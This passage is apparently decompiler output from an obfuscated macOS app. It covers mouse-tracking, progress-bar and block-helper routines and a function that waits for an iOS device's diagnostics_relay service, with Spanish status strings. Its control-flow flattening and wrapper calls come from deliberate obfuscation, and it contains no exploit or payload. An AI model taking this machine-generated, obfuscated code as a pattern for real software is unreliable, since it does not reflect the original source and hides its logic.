NSCursor *v15; // [rsp+20h] [rbp-50h]
int v16; // [rsp+2Ch] [rbp-44h] BYREF
id v17; // [rsp+30h] [rbp-40h]
unsigned __int8 v18; // [rsp+3Fh] [rbp-31h]
int *v19; // [rsp+40h] [rbp-30h]
v16 = 2003451719;
v19 = &v16;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v16 > 1304688896 )
{
if ( v16 <= 1772267096 )
{
if ( v16 <= 1681436274 )
{
if ( v16 == 1304688897 )
{
objc_msgSend(v17, v14, v13);
LABEL_43:
*v19 = 2038042668;
}
else if ( v16 == 1608947073 )
{
v8 = -864437472;
goto LABEL_40;
}
}
else
{
switch ( v16 )
{
case 1681436275:
goto LABEL_43;
case 1693265977:
*v19 = -1787211642;
break;
case 1712043449:
*v19 = 1086097562;
break;
}
}
}
else if ( v16 > 2003451718 )
{
switch ( v16 )
{
case 2073393094:
objc_release(v17);
v4 = v18 == 0;
v5 = 1608947073;
v6 = 137061245;
LABEL_52:
if ( v4 )
v5 = v6;
LABEL_54:
*v19 = v5;
break;
case 2038042668:
v18 = (unsigned __int8)objc_msgSend(v17, v14, v13);
v5 = -1292849901;
goto LABEL_54;
case 2003451719:
v5 = -964662715;
goto LABEL_54;
}
}
else
{
switch ( v16 )
{
case 1772267097:
v5 = 1086097562;
goto LABEL_54;
case 1848088865:
v11 = objc_msgSend(a3, "trackingArea");
objc_retainAutoreleasedReturnValue(v11);
*v19 = -964662715;
break;
case 1991726126:
*v19 = 915476761;
break;
}
}
}
if ( v16 > -747390611 )
break;
if ( v16 <= -1292849902 )
{
if ( v16 == -1917039582 )
{
*v19 = 1681436275;
}
else if ( v16 == -1787211642 )
{
objc_msgSend(v15, v12);
objc_release(v15);
*v19 = 137061245;
}
}
else
{
switch ( v16 )
{
case -1292849901:
*v19 = 2073393094;
break;
case -964662715:
v9 = objc_msgSend(a3, "trackingArea");
v17 = objc_retainAutoreleasedReturnValue(v9);
v13 = activateTrackingArea;
v14 = "isEqual:";
v8 = -1917039582;
goto LABEL_40;
case -864437472:
v7 = +[NSCursor pointingHandCursor](&OBJC_CLASS___NSCursor, "pointingHandCursor");
v15 = objc_retainAutoreleasedReturnValue(v7);
*v19 = -747390610;
break;
}
}
}
if ( v16 > 696217527 )
break;
switch ( v16 )
{
case -747390610:
*v19 = 1772267097;
break;
case -719376565:
v10 = +[NSCursor pointingHandCursor](&OBJC_CLASS___NSCursor, "pointingHandCursor");
objc_retainAutoreleasedReturnValue(v10);
*v19 = -864437472;
break;
case 137061245:
v4 = 0;
v5 = 1991726126;
v6 = 696217528;
goto LABEL_52;
}
}
if ( v16 != 696217528 )
break;
*v19 = 1991726126;
}
if ( v16 == 1086097562 )
{
v12 = "push";
v8 = 1693265977;
LABEL_40:
v5 = v8;
goto LABEL_54;
}
}
while ( v16 != 915476761 );
}
// 1000C0328: conditional instruction was optimized away because %var_48.4==AFB0DF6C
// 1000C04BE: conditional instruction was optimized away because cf.1==0
// 1000C0424: variable 'v15' is possibly undefined
// 1000C0424: variable 'v12' is possibly undefined
// 1000C04FD: variable 'v14' is possibly undefined
// 1000C04FD: variable 'v13' is possibly undefined
//----- (00000001000C0623) ----------------------------------------------------
void __cdecl -[AppDelegate mouseExited:](AppDelegate *self, SEL a2, id a3)
{
char v4; // cf
int v5; // eax
int v6; // ecx
char v7; // cf
int v8; // ecx
id v9; // rax
id v10; // rax
unsigned __int8 v11; // r14
id v12; // rax
id v13; // [rsp+8h] [rbp-58h]
const char *v14; // [rsp+10h] [rbp-50h]
id v15; // [rsp+18h] [rbp-48h]
id v16; // [rsp+20h] [rbp-40h]
int v17; // [rsp+2Ch] [rbp-34h] BYREF
int *v18; // [rsp+30h] [rbp-30h]
v17 = -586589973;
v18 = &v17;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v17 <= -326739802 )
{
if ( v17 <= -698850808 )
{
if ( v17 <= -1652722477 )
{
if ( v17 == -2056847315 )
{
v9 = objc_msgSend(a3, "trackingArea");
v10 = objc_retainAutoreleasedReturnValue(v9);
v4 = 1;
v15 = v10;
v5 = -326739801;
v6 = 1983151999;
LABEL_42:
if ( v4 )
v5 = v6;
goto LABEL_58;
}
if ( v17 == -1916169592 )
*v18 = -99462278;
}
else
{
switch ( v17 )
{
case -1652722476:
v7 = 0;
v5 = -13418;
v8 = -422652993;
goto LABEL_56;
case -1023533400:
v4 = 1;
v5 = -631050932;
v6 = 2139362308;
goto LABEL_42;
case -964902844:
*v18 = -1023533400;
break;
}
}
}
else if ( v17 > -586589974 )
{
switch ( v17 )
{
case -586589973:
v7 = 1;
v5 = -2056847315;
v8 = -326739801;
LABEL_56:
if ( !v7 )
v5 = v8;
goto LABEL_58;
case -422652993:
v7 = 1;
v16 = &OBJC_CLASS___NSCursor;
v5 = -964902844;
v8 = -13418;
goto LABEL_56;
case -407989604:
*v18 = 1101185337;
break;
}
}
else
{
switch ( v17 )
{
case -698850807:
*v18 = -52282591;
break;
case -631050932:
HikariFunctionWrapper_16803(v16, "pop");
*v18 = 2139362308;
break;
case -610595923:
*v18 = -278971419;
break;
}
}
}
if ( v17 <= 82642617 )
break;
if ( v17 <= 1101185336 )
{
if ( v17 == 82642618 )
{
*v18 = 498230130;
}
else if ( v17 == 498230130 )
{
v7 = 0;
v5 = 82642618;
v8 = -698850807;
goto LABEL_56;
}
}
else
{
switch ( v17 )
{
case 1101185337:
v11 = (unsigned __int8)objc_msgSend(v15, v14, v13);
objc_release(v15);
v5 = -1652722476;
if ( !v11 )
v5 = -52282591;
LABEL_58:
*v18 = v5;
break;
case 1983151999:
*v18 = -95239341;
break;
case 2139362308:
objc_msgSend(v16, "pop");
v7 = 0;
v5 = -631050932;
v8 = -610595923;
goto LABEL_56;
}
}
}
if ( v17 > -95239342 )
break;
switch ( v17 )
{
case -326739801:
v12 = objc_msgSend(a3, "trackingArea");
objc_retainAutoreleasedReturnValue(v12);
*v18 = -2056847315;
break;
case -278971419:
v5 = 498230130;
goto LABEL_58;
case -99462278:
v4 = 0;
v13 = activateTrackingArea;
v14 = "isEqual:";
v5 = -407989604;
v6 = -1916169592;
goto LABEL_42;
}
}
if ( v17 == -95239341 )
{
v7 = 1;
v5 = -99462278;
v8 = -1916169592;
goto LABEL_56;
}
if ( v17 != -13418 )
break;
*v18 = -422652993;
}
}
while ( v17 != -52282591 );
}
// 1000C080F: variable 'v16' is possibly undefined
// 1000C0B1B: variable 'v15' is possibly undefined
// 1000C0B1B: variable 'v14' is possibly undefined
// 1000C0B1B: variable 'v13' is possibly undefined
//----- (00000001000C0BAC) ----------------------------------------------------
void __cdecl -[AppDelegate StartProgressBar](AppDelegate *self, SEL a2)
{
int v2; // r9d
__int64 v3; // [rsp+0h] [rbp-30h] BYREF
__int64 (__fastcall **v4)(__int64); // [rsp+8h] [rbp-28h]
AppDelegate **v5; // [rsp+10h] [rbp-20h]
int v6; // [rsp+18h] [rbp-18h]
int v7; // [rsp+1Ch] [rbp-14h] BYREF
int *v8; // [rsp+20h] [rbp-10h]
dispatch_block_t block; // [rsp+28h] [rbp-8h]
v6 = 1;
v7 = -1465173321;
v8 = &v7;
do
{
while ( 1 )
{
while ( v7 <= -837534921 )
{
switch ( v7 )
{
case -1773392056:
*(&v3 - 6) = (__int64)_NSConcreteStackBlock;
*(&v3 - 5) = 3254779904LL;
*v8 = 252467098;
break;
case -1465173321:
v2 = -1773392056;
if ( v6 != -325456405 )
v2 = 252467098;
LABEL_15:
*v8 = v2;
break;
case -1220369722:
*v4 = __31__AppDelegate_StartProgressBar__block_invoke;
*((_QWORD *)block + 3) = &__block_descriptor_40_e8_32s_e5_v8__0l;
v5 = (AppDelegate **)((char *)block + 32);
*v8 = -837534920;
break;
}
}
if ( v7 == 252467098 )
{
block = &v3 - 6;
*(_QWORD *)block = _NSConcreteStackBlock;
*((_DWORD *)block + 2) = -1040187392;
*((_DWORD *)block + 3) = 0;
v4 = (__int64 (__fastcall **)(__int64))((char *)block + 16);
v2 = 1753665805;
goto LABEL_15;
}
if ( v7 != 1753665805 )
break;
*v8 = -1220369722;
}
}
while ( v7 != -837534920 );
*v5 = self;
dispatch_async(&_dispatch_main_q, block);
}
//----- (00000001000C0D65) ----------------------------------------------------
__int64 __fastcall __31__AppDelegate_StartProgressBar__block_invoke(__int64 a1)
{
id v1; // rax
id v2; // rbx
__int64 result; // rax
int v4; // eax
id v5; // rax
id v6; // rax
void **v7; // [rsp+0h] [rbp-50h]
int v8; // [rsp+14h] [rbp-3Ch] BYREF
id v9; // [rsp+18h] [rbp-38h]
int *v10; // [rsp+20h] [rbp-30h]
v7 = (void **)(a1 + 32);
v1 = objc_msgSend(*(id *)(a1 + 32), "progressIndicator");
v2 = objc_retainAutoreleasedReturnValue(v1);
objc_msgSend(v2, "setHidden:", 0);
objc_release(v2);
v8 = 1452225007;
v10 = &v8;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v8;
if ( v8 <= 330295921 )
break;
if ( v8 > 1014477039 )
{
if ( v8 == 1014477040 )
{
*v10 = -1309119513;
}
else if ( v8 == 1452225007 )
{
v4 = 330295922;
goto LABEL_17;
}
}
else if ( v8 == 330295922 )
{
v6 = HikariFunctionWrapper_16805(*v7, "progressIndicator");
v9 = objc_retainAutoreleasedReturnValue(v6);
*v10 = 1014477040;
}
else if ( v8 == 792963324 )
{
objc_msgSend(v9, "setDoubleValue:", 0.0);
objc_release(v9);
v4 = -592761549;
goto LABEL_17;
}
}
if ( v8 > -896477067 )
break;
if ( v8 == -1309119513 )
{
v4 = 792963324;
LABEL_17:
*v10 = v4;
}
else if ( v8 == -1074317928 )
{
v5 = objc_msgSend(*v7, "progressIndicator");
objc_retainAutoreleasedReturnValue(v5);
*v10 = 330295922;
}
}
if ( v8 != -896477066 )
break;
objc_msgSend(v9, "setDoubleValue:", 0.0);
objc_release(v9);
*v10 = 792963324;
}
}
while ( v8 != -592761549 );
return result;
}
//----- (00000001000C0FD1) ----------------------------------------------------
__int64 __fastcall __copy_helper_block_e8_32s(__int64 a1, __int64 a2)
{
__int64 result; // rax
int v3; // eax
id v4; // [rsp+10h] [rbp-40h]
int v5; // [rsp+1Ch] [rbp-34h] BYREF
int *v6; // [rsp+20h] [rbp-30h]
v5 = -104581951;
v6 = &v5;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v5;
if ( v5 > 109466388 )
break;
if ( v5 > -428176974 )
{
if ( v5 == -428176973 )
{
v3 = 874156970;
LABEL_19:
*v6 = v3;
}
else if ( v5 == -104581951 )
{
v3 = -1272461096;
goto LABEL_19;
}
}
else
{
if ( v5 == -1272461096 )
{
v4 = *(id *)(a2 + 32);
v3 = -763687556;
goto LABEL_19;
}
if ( v5 == -763687556 )
*v6 = -428176973;
}
}
if ( v5 <= 279655417 )
break;
if ( v5 == 279655418 )
{
*v6 = -1272461096;
}
else if ( v5 == 874156970 )
{
objc_retain(v4);
v3 = 269983586;
goto LABEL_19;
}
}
if ( v5 != 109466389 )
break;
objc_retain(v4);
*v6 = 874156970;
}
}
while ( v5 != 269983586 );
return result;
}
// 1000C1087: variable 'v4' is possibly undefined
//----- (00000001000C11A8) ----------------------------------------------------
__int64 __fastcall __destroy_helper_block_e8_32s(__int64 a1)
{
__int64 result; // rax
int v2; // eax
id *v3; // [rsp+8h] [rbp-48h]
id v4; // [rsp+10h] [rbp-40h]
int v5; // [rsp+1Ch] [rbp-34h] BYREF
int *v6; // [rsp+20h] [rbp-30h]
v5 = -2021101870;
v6 = &v5;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v5;
if ( v5 > -300074406 )
break;
if ( v5 > -846797392 )
{
if ( v5 == -846797391 )
{
*v6 = 154442177;
}
else if ( v5 == -515905696 )
{
objc_release(v4);
v2 = 878342855;
goto LABEL_19;
}
}
else if ( v5 == -2021101870 )
{
v2 = -300074405;
LABEL_19:
*v6 = v2;
}
else if ( v5 == -1904358611 )
{
LABEL_10:
*v6 = -515905696;
}
}
if ( v5 > 878342854 )
break;
if ( v5 == -300074405 )
{
v3 = (id *)(a1 + 32);
v2 = -846797391;
goto LABEL_19;
}
if ( v5 == 154442177 )
{
v4 = *v3;
*v6 = -1904358611;
}
}
if ( v5 != 1364545029 )
break;
*v6 = -300074405;
}
if ( v5 == 2055429742 )
{
objc_release(v4);
goto LABEL_10;
}
}
while ( v5 != 878342855 );
return result;
}
// 1000C1311: conditional instruction was optimized away because %var_38.4==990DA0A
// 1000C123A: variable 'v4' is possibly undefined
// 1000C1279: variable 'v3' is possibly undefined
//----- (00000001000C1357) ----------------------------------------------------
void __cdecl -[AppDelegate UpdateProgressBar:](AppDelegate *self, SEL a2, double a3)
{
int v3; // eax
bool v4; // cf
int v5; // ecx
__int64 v6; // [rsp+0h] [rbp-60h] BYREF
__int64 (__fastcall **v7)(__int64); // [rsp+8h] [rbp-58h]
AppDelegate **v8; // [rsp+10h] [rbp-50h]
double v9; // [rsp+18h] [rbp-48h]
unsigned int v10; // [rsp+20h] [rbp-40h]
int v11; // [rsp+24h] [rbp-3Ch] BYREF
dispatch_block_t block; // [rsp+28h] [rbp-38h]
int *v13; // [rsp+30h] [rbp-30h]
v9 = a3;
v10 = -1168501964;
v11 = 413515323;
v13 = &v11;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v11 > 47089014 )
{
if ( v11 > 517225999 )
{
switch ( v11 )
{
case 517226000:
v3 = 1897284868;
goto LABEL_29;
case 1897284868:
*v8 = self;
dispatch_async(&_dispatch_main_q, block);
v4 = 0;
v3 = -650361405;
v5 = -1225687187;
LABEL_27:
if ( v4 )
v3 = v5;
LABEL_29:
*v13 = v3;
break;
case 1976251925:
block = &v6 - 6;
*(_QWORD *)block = _NSConcreteStackBlock;
*((_DWORD *)block + 2) = -1040187392;
*((_DWORD *)block + 3) = 0;
v7 = (__int64 (__fastcall **)(__int64))((char *)block + 16);
*v13 = 433372981;
break;
}
}
else
{
switch ( v11 )
{
case 47089015:
*v7 = __33__AppDelegate_UpdateProgressBar___block_invoke;
*((_QWORD *)block + 3) = &__block_descriptor_48_e8_32s_e5_v8__0l;
*((double *)block + 5) = v9;
*v13 = -294444669;
break;
case 413515323:
v4 = v10 < 0xF01E33A;
v3 = 1976251925;
v5 = -2056762993;
goto LABEL_27;
case 433372981:
*v13 = -1785019388;
break;
}
}
}
if ( v11 > -650361406 )
break;
switch ( v11 )
{
case -2056762993:
*(&v6 - 6) = (__int64)_NSConcreteStackBlock;
*(&v6 - 5) = 3254779904LL;
*v13 = 1976251925;
break;
case -1785019388:
v3 = -294444669;
goto LABEL_29;
case -1225687187:
*v8 = self;
HikariFunctionWrapper_16807(&_dispatch_main_q, block);
*v13 = 1897284868;
break;
}
}
if ( v11 != -403769803 )
break;
*v13 = 517226000;
}
if ( v11 == -294444669 )
{
*v7 = __33__AppDelegate_UpdateProgressBar___block_invoke;
*((_QWORD *)block + 3) = &__block_descriptor_48_e8_32s_e5_v8__0l;
*((double *)block + 5) = v9;
v8 = (AppDelegate **)((char *)block + 32);
v3 = -403769803;
goto LABEL_29;
}
}
while ( v11 != -650361405 );
}
//----- (00000001000C16B6) ----------------------------------------------------
__int64 __fastcall __33__AppDelegate_UpdateProgressBar___block_invoke(__int64 a1)
{
void *v1; // rdi
id v2; // rax
__int64 result; // rax
id v4; // rax
id v5; // rax
id v6; // rbx
id v7; // rax
id v8; // rbx
double v9; // [rsp+0h] [rbp-60h]
id v10; // [rsp+8h] [rbp-58h]
id v11; // [rsp+10h] [rbp-50h]
int v12; // [rsp+1Ch] [rbp-44h] BYREF
id *v13; // [rsp+20h] [rbp-40h]
SEL v14; // [rsp+28h] [rbp-38h]
int *v15; // [rsp+30h] [rbp-30h]
v9 = fmax(fmin(*(double *)(a1 + 40), 100.0), 0.0);
v13 = (id *)(a1 + 32);
v1 = *(void **)(a1 + 32);
v14 = "progressIndicator";
v2 = HikariFunctionWrapper_16809(v1, "progressIndicator");
v10 = objc_retainAutoreleasedReturnValue(v2);
objc_msgSend(v10, "setHidden:", 0);
v12 = -572166471;
v15 = &v12;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v12;
if ( v12 <= 141388397 )
break;
if ( v12 == 141388398 )
goto LABEL_10;
if ( v12 == 444162777 )
{
objc_release(v11);
v5 = objc_msgSend(*v13, v14);
v6 = objc_retainAutoreleasedReturnValue(v5);
objc_msgSend(v6, "displayIfNeeded");
objc_release(v6);
*v15 = -1019616739;
}
}
if ( v12 != -1753216279 )
break;
objc_release(v11);
v7 = HikariFunctionWrapper_16813(*v13, v14);
v8 = objc_retainAutoreleasedReturnValue(v7);
objc_msgSend(v8, "displayIfNeeded");
objc_release(v8);
LABEL_10:
*v15 = 444162777;
}
if ( v12 != -572166471 )
break;
objc_release(v10);
v4 = HikariFunctionWrapper_16811(*v13, v14);
v11 = objc_retainAutoreleasedReturnValue(v4);
objc_msgSend(v11, "setDoubleValue:", v9);
*v15 = 141388398;
}
}
while ( v12 != -1019616739 );
return result;
}
// 1000C17F2: variable 'v11' is possibly undefined
//----- (00000001000C189A) ----------------------------------------------------
void __cdecl -[AppDelegate FinishProgressBar](AppDelegate *self, SEL a2)
{
_QWORD block[4]; // [rsp+8h] [rbp-58h] BYREF
char v3; // [rsp+28h] [rbp-38h] BYREF
AppDelegate **v4; // [rsp+30h] [rbp-30h]
int *v5; // [rsp+38h] [rbp-28h]
int v6; // [rsp+44h] [rbp-1Ch] BYREF
block[0] = _NSConcreteStackBlock;
block[1] = 3254779904LL;
block[2] = __32__AppDelegate_FinishProgressBar__block_invoke;
block[3] = &__block_descriptor_40_e8_32s_e5_v8__0l;
v4 = (AppDelegate **)&v3;
v6 = 2029750260;
v5 = &v6;
do
{
while ( v6 == 2029750260 )
{
*v4 = self;
dispatch_async(&_dispatch_main_q, block);
*v5 = -1083294020;
}
}
while ( v6 != -1083294020 );
}
//----- (00000001000C1931) ----------------------------------------------------
void __fastcall __32__AppDelegate_FinishProgressBar__block_invoke(__int64 a1)
{
id v1; // rax
int v2; // eax
id v3; // rax
id v4; // rax
id v5; // rbx
NSNumber *v6; // rax
NSNumber *v7; // r15
id *v8; // [rsp+8h] [rbp-58h]
const char *v9; // [rsp+10h] [rbp-50h]
id v10; // [rsp+18h] [rbp-48h]
id v11; // [rsp+20h] [rbp-40h]
int v12; // [rsp+2Ch] [rbp-34h] BYREF
int *v13; // [rsp+30h] [rbp-30h]
v12 = 789253287;
v13 = &v12;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v12 <= 216785103 )
{
if ( v12 > -539691872 )
{
if ( v12 == -539691871 )
{
*v13 = 1619582321;
}
else if ( v12 == -76173994 )
{
v2 = 216785104;
goto LABEL_18;
}
}
else if ( v12 == -1965504343 )
{
*v13 = -682153044;
}
else if ( v12 == -682153044 )
{
v8 = (id *)(a1 + 32);
v10 = *(id *)(a1 + 32);
v2 = 1149836140;
goto LABEL_18;
}
}
if ( v12 > 1149836139 )
break;
if ( v12 == 216785104 )
{
v9 = "progressIndicator";
v3 = HikariFunctionWrapper_16815(v10, "progressIndicator");
v11 = objc_retainAutoreleasedReturnValue(v3);
v2 = -539691871;
LABEL_18:
*v13 = v2;
}
else if ( v12 == 789253287 )
{
v2 = -682153044;
goto LABEL_18;
}
}
if ( v12 != 1149836140 )
break;
*v13 = -76173994;
}
if ( v12 != 1447278191 )
break;
v1 = objc_msgSend(v10, "progressIndicator");
objc_retainAutoreleasedReturnValue(v1);
*v13 = 216785104;
}
}
while ( v12 != 1619582321 );
HikariFunctionWrapper_16817(v11, "setDoubleValue:");
objc_release(v11);
v4 = objc_msgSend(*v8, v9, 100.0);
v5 = objc_retainAutoreleasedReturnValue(v4);
v6 = +[NSNumber numberWithBool:](&OBJC_CLASS___NSNumber, "numberWithBool:", 1);
v7 = objc_retainAutoreleasedReturnValue(v6);
objc_msgSend(v5, "performSelector:withObject:afterDelay:", "setHidden:", v7, 0.5);
objc_release(v7);
objc_release(v5);
}
// 1000C1A6C: conditional instruction was optimized away because %var_38.4==1
// 1000C19B8: variable 'v10' is possibly undefined
// 1000C1B86: variable 'v11' is possibly undefined
// 1000C1B9D: variable 'v8' is possibly undefined
// 1000C1BAB: variable 'v9' is possibly undefined
//----- (00000001000C1C18) ----------------------------------------------------
__int64 __fastcall WaitForDiagnosticsRelay(__int64 a1)
{
__int64 result; // rax
bool v2; // cf
int v3; // eax
char v4; // cf
int v5; // ecx
int started; // eax
bool v7; // dl
int v8; // ecx
bool v9; // zf
int v10; // ecx
int v11; // eax
int v12; // eax
__int64 v13; // [rsp+0h] [rbp-60h] BYREF
unsigned int v14; // [rsp+8h] [rbp-58h]
int v15; // [rsp+Ch] [rbp-54h]
int v16; // [rsp+10h] [rbp-50h]
int v17; // [rsp+14h] [rbp-4Ch] BYREF
int v18; // [rsp+18h] [rbp-48h]
int v19; // [rsp+1Ch] [rbp-44h]
__int64 *v20; // [rsp+20h] [rbp-40h]
bool v21; // [rsp+2Dh] [rbp-33h]
bool v22; // [rsp+2Eh] [rbp-32h]
bool v23; // [rsp+2Fh] [rbp-31h]
int *v24; // [rsp+30h] [rbp-30h]
v14 = -1616659493;
v17 = 888925523;
v24 = &v17;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v17;
if ( v17 <= 77398349 )
break;
if ( v17 > 1341825735 )
{
if ( v17 > 1672324419 )
{
if ( v17 > 1976214080 )
{
switch ( v17 )
{
case 1976214081:
*v24 = 312033688;
break;
case 2016205257:
dword_10029F4FC = 1;
v20 = &v13 - 2;
*v24 = 1462005377;
break;
case 2033158035:
v22 = a1 == 0;
v4 = 1;
v3 = 1672324420;
goto LABEL_73;
}
}
else
{
switch ( v17 )
{
case 1672324420:
*v24 = 1899898316;
break;
case 1812800074:
v12 = -1636573713;
if ( v22 )
v12 = -2067281517;
*v24 = v12;
v19 = 0;
break;
case 1899898316:
v2 = 1;
v3 = -2025019556;
v8 = 1265100775;
goto LABEL_126;
}
}
}
else if ( v17 > 1624366888 )
{
switch ( v17 )
{
case 1624366889:
v2 = 0;
v3 = 1341825736;
v8 = 1624366889;
goto LABEL_126;
case 1625816173:
v9 = !v23;
v3 = -1339806941;
v10 = -1449226135;
goto LABEL_120;
case 1632311963:
aJWIeU[66] = 97;
aJWIeU[67] = 0;
qmemcpy(asc_100277B60, "[i] Esperan", 11);
v2 = 1;
v3 = 1632311963;
v8 = 347059929;
goto LABEL_126;
}
}
else
{
switch ( v17 )
{
case 1341825736:
*v24 = -1888400545;
break;
case 1357954630:
*v24 = -1018548099;
break;
case 1462005377:
v4 = 1;
v3 = 2033158035;
LABEL_73:
v5 = 1176419370;
goto LABEL_90;
}
}
}
else if ( v17 > 639434198 )
{
if ( v17 > 1176419369 )
{
switch ( v17 )
{
case 1176419370:
*v24 = 2033158035;
break;
case 1265100775:
v2 = 1;
v3 = 1265100775;
v8 = 1812800074;
goto LABEL_126;
case 1281416633:
v9 = !v21;
v3 = 2016205257;
v10 = -1160702286;
goto LABEL_120;
}
}
else
{
switch ( v17 )
{
case 639434199:
v9 = 0;
v15 = dword_10029F4FC;
v3 = 298988416;
v10 = 1976214081;
goto LABEL_120;
case 888925523:
v2 = v14 < 0xA3011F7A;
v3 = 298988416;
v8 = 639434199;
goto LABEL_126;
case 1133728632:
*v20 = 0;
started = AMDeviceSecureStartService(a1);
v7 = started != 0 || *v20 == 0;
v2 = 0;
v13 = *v20;
v23 = v7;
v3 = 1625816173;
goto LABEL_125;
}
}
}
else if ( v17 > 347059928 )
{
switch ( v17 )
{
case 347059929:
*v24 = -669457898;
break;
case 458491133:
v2 = 0;
v3 = 1281416633;
goto LABEL_115;
case 600219658:
*v24 = -1610353393;
break;
}
}
else
{
switch ( v17 )
{
case 77398350:
NSLog(CFSTR("쀚疂逶烊\u19AD礣⠚ﻃ캤渗ᚹ쳦Ꜭⵛ簾Ἰ⠑끝ﺐឧ類慌룺鎣卄吔벙繓뙮꤯쩱\x8E\xDFᛛ䴑ⷚꆑ鑹\xE1\xD9\x46\xED됅\u0E7Cở\xFD\xDB\x59\xC7葙烫择仾⡗暄혯覜뼝\xFA\xD9\xA0\x27ᛊ顫祓"));
v9 = 0;
v3 = 77398350;
v10 = -718175024;
goto LABEL_120;
case 298988416:
*v24 = 639434199;
break;
case 312033688:
v3 = -1018548099;
goto LABEL_128;
}
}
}
if ( v17 <= -1083839970 )
break;
if ( v17 > -710986359 )
{
if ( v17 > -201943855 )
{
switch ( v17 )
{
case -201943854:
*v24 = 1624366889;
break;
case -153100517:
NSLog(CFSTR("쀚疂逶烊\u19AD礣⠚ﻃ캤渗ᚹ쳦Ꜭⵛ簾Ἰ⠑끝ﺐឧ類慌룺鎣卄吔벙繓뙮꤯쩱\x8E\xDFᛛ䴑ⷚꆑ鑹\xE1\xD9\x46\xED됅\u0E7Cở\xFD\xDB\x59\xC7葙烫择仾⡗暄혯覜뼝\xFA\xD9\xA0\x27ᛊ顫祓"));
*v24 = 77398350;
break;
case -79642770:
v2 = 1;
v3 = -153100517;
v8 = 77398350;
goto LABEL_126;
}
}
else
{
switch ( v17 )
{
case -710986358:
v4 = 0;
v3 = -201943854;
v5 = 1624366889;
LABEL_90:
if ( !v4 )
v3 = v5;
goto LABEL_128;
case -708692071:
LABEL_82:
*v24 = -2067281517;
break;
case -669457898:
asc_100277B60[11] = 100;
asc_100277B60[12] = 111;
asc_100277B60[13] = 32;
asc_100277B60[14] = 100;
asc_100277B60[15] = 105;
asc_100277B60[16] = 115;
asc_100277B60[17] = 112;
asc_100277B60[18] = 111;
asc_100277B60[19] = 110;
asc_100277B60[20] = 105;
asc_100277B60[21] = 98;
asc_100277B60[22] = 105;
asc_100277B60[23] = 108;
asc_100277B60[24] = 105;
asc_100277B60[25] = 100;
asc_100277B60[26] = 97;
asc_100277B60[27] = 100;
asc_100277B60[28] = 32;
asc_100277B60[29] = 100;
asc_100277B60[30] = 101;
asc_100277B60[31] = 32;
asc_100277B60[32] = 100;
asc_100277B60[33] = 105;
asc_100277B60[34] = 97;
asc_100277B60[35] = 103;
asc_100277B60[36] = 110;
asc_100277B60[37] = 111;
asc_100277B60[38] = 115;
asc_100277B60[39] = 116;
asc_100277B60[40] = 105;
asc_100277B60[41] = 99;
asc_100277B60[42] = 115;
asc_100277B60[43] = 95;
asc_100277B60[44] = 114;
asc_100277B60[45] = 101;
asc_100277B60[46] = 108;
asc_100277B60[47] = 97;
asc_100277B60[48] = 121;
asc_100277B60[49] = 46;
asc_100277B60[50] = 46;
asc_100277B60[51] = 46;
asc_100277B60[52] = 32;
asc_100277B60[53] = 105;
asc_100277B60[54] = 110;
asc_100277B60[55] = 116;
asc_100277B60[56] = 101;
asc_100277B60[57] = 110;
asc_100277B60[58] = 116;
asc_100277B60[59] = 111;
asc_100277B60[60] = 32;
asc_100277B60[61] = 37;
asc_100277B60[62] = 100;
asc_100277B60[63] = 0;
*v24 = 2016205257;
break;
}
}
}
else if ( v17 > -952898954 )
{
switch ( v17 )
{
case -952898953:
aJWIeU[66] = 97;
aJWIeU[67] = 0;
qmemcpy(asc_100277B60, "[i] Esperan", 11);
*v24 = 1632311963;
break;
case -775357655:
goto LABEL_82;
case -718175024:
*v24 = -708692071;
break;
}
}
else
{
switch ( v17 )
{
case -1083839969:
v11 = -1636573713;
if ( v18 == 15 )
v11 = -79642770;
*v24 = v11;
v19 = v18;
break;
case -1053897277:
*v24 = 458491133;
break;
case -1018548099:
v21 = v15 == 0;
v4 = 0;
v3 = 1357954630;
v5 = -1652096493;
goto LABEL_90;
}
}
}
if ( v17 <= -1449226136 )
break;
if ( v17 > -1339806942 )
{
switch ( v17 )
{
case -1339806941:
HikariFunctionWrapper_16819();
*v24 = -710986358;
break;
case -1286590685:
*v24 = -1083839969;
break;
case -1160702286:
strcpy(aP_4, "com.apple.mobile.diagnostics_relay");
aJWIeU[0] = 91;
aJWIeU[1] = 33;
aJWIeU[2] = 93;
aJWIeU[3] = 32;
aJWIeU[4] = 100;
aJWIeU[5] = 105;
aJWIeU[6] = 97;
aJWIeU[7] = 103;
aJWIeU[8] = 110;
aJWIeU[9] = 111;
aJWIeU[10] = 115;
aJWIeU[11] = 116;
aJWIeU[12] = 105;
aJWIeU[13] = 99;
aJWIeU[14] = 115;
aJWIeU[15] = 95;
aJWIeU[16] = 114;
aJWIeU[17] = 101;
aJWIeU[18] = 108;
aJWIeU[19] = 97;
aJWIeU[20] = 121;
aJWIeU[21] = 32;
aJWIeU[22] = 110;
aJWIeU[23] = 111;
aJWIeU[24] = 32;
aJWIeU[25] = 100;
aJWIeU[26] = 105;
aJWIeU[27] = 115;
aJWIeU[28] = 112;
aJWIeU[29] = 111;
aJWIeU[30] = 110;
aJWIeU[31] = 105;
aJWIeU[32] = 98;
aJWIeU[33] = 108;
aJWIeU[34] = 101;
aJWIeU[35] = 32;
aJWIeU[36] = 116;
aJWIeU[37] = 114;
aJWIeU[38] = 97;
aJWIeU[39] = 115;
aJWIeU[40] = 32;
aJWIeU[41] = 101;
aJWIeU[42] = 108;
aJWIeU[43] = 32;
aJWIeU[44] = 116;
aJWIeU[45] = 105;
aJWIeU[46] = 101;
aJWIeU[47] = 109;
aJWIeU[48] = 112;
aJWIeU[49] = 111;
aJWIeU[50] = 32;
aJWIeU[51] = 109;
aJWIeU[52] = 225;
aJWIeU[53] = 120;
aJWIeU[54] = 105;
aJWIeU[55] = 109;
aJWIeU[56] = 111;
aJWIeU[57] = 32;
aJWIeU[58] = 100;
aJWIeU[59] = 101;
